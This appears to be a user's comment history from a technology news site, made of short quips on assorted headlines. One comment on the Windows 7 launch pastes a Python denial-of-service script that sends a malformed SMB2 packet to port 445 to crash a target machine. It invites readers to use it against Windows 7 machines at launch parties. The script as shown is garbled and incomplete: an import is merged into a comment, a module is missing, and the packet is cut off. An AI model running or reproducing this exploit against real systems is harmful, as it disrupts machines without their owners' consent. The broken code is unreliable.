Volcano Near Mexico City Becomes More Active
The Mayas are training for Dec. 2012.
Looking For iPad, Police Find 750 Pounds of Meth
Heisenbergh would be very upset!
Microsoft Releases Internet Explorer 9 RC
Upgrading Microsoft Internet Explorer is a pain. IE6, 7 and 8 are completely different products.
Why I could never upgrading a complete operating system convert my IE6 to IE7 or 8? You had to install them independently.
That only speaks of a poor strategy and product, a complete shame.
Oh, and at work we have providers who developed extranets using Microsoft technologies that worked in IE 7, but then came IE8 and they are incompatible. Microsoft is incompatible with themselves.
I only lament that because of my work I have to support the Explorer navigator, the worst experience.
Mainstream Press "Cringes" At Win7 Launch Parties
If I buy, let's say, a t-shirt, I expect it to be defects free, otherwise, I'd not buy it or would have it changed.
So, is Windows 7 defect free?
Let's see, just try this script in the party to check if Windows 7 is a good new product, the parameter is the ip of the happy windows 7:
(adapted from http://seclists.org/fulldisclosure/2009/Sep/0039.html )
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
ip = sys.argv
host = ip, 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
sock = socket.socket()
If the script works, vista dies and it means Microsoft has again released a brand new product with an important bug.
Please, it's time to ask Microsoft to release secure products. Believe it or not, I plan to use Windows 7 at some point and want it to be a good O.S.
PS. The script was tested on MacOS 10.6, but should work on Linux too.
Artificial Brain '10 Years Away'
Would it have mind and soul?
Best Tools For Network Inventory Management?
Check http://www.i-doit.org/, it works very well for me and is CMDB compatible.
WHO Raises Swine Flu Threat Level
In fact the virus has genes from Asia, Europe and North America, so we should call it "global flu".